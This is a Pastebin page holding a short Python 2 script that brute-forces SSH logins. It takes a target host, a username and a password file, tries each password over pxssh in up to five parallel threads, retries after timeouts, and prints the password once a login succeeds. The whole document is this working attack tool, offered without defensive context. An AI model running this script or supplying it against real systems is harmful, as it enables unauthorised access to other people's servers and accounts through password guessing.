Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import argparse
- import time
- from pexpect import pxssh
- from threading import *
- Fails = 0
- Found = False
- max_connections = 5
- connection_lock =BoundedSemaphore(value=max_connections)
- def connect(host,user,password,release):
- global Fails
- global Found
- try:
- s = pxssh.pxssh()
- s.login(host,user,password)
- print 'User Found and password is : ' + password
- Found = True
- except Exception, e:
- if 'read_nonblocking' in str(e):
- Fails += 1
- time.sleep(5)
- connect(host,user,password,False)
- elif 'synchronize with original prompt' in str(e):
- time.sleep(1)
- connect(host,user,password,False)
- finally:
- if release: connection_lock.release()
- def main():
- parser = argparse.ArgumentParser()
- parser.add_argument('-ho','--host',help='Host to be bruted',type=str)
- parser.add_argument('-u','--user',help='Username to be checked',type=str)
- parser.add_argument('-p','--password',help='Password file',type=str)
- args = parser.parse_args()
- user = args.user
- host = args.host
- passwordFile = args.password
- if host == None or user == None or passwordFile == None:
- print "./scrpit.py --host host --user username --password PasswordFile"
- exit(0)
- file1 = open(passwordFile, 'r')
- for line in file1.readlines():
- if Found:
- print "Password Found"
- exit(0)
- if Fails > 5:
- print "Exit too many timeout"
- exit(0)
- connection_lock.acquire()
- password = line.strip('\r').strip('\n')
- print "Testing password " + str(password)
- t = Thread(target=connect, args=(host,user,password,True))
- child = t.start()
- if __name__ == "__main__":
- main()
Add Comment
Please, Sign In to add comment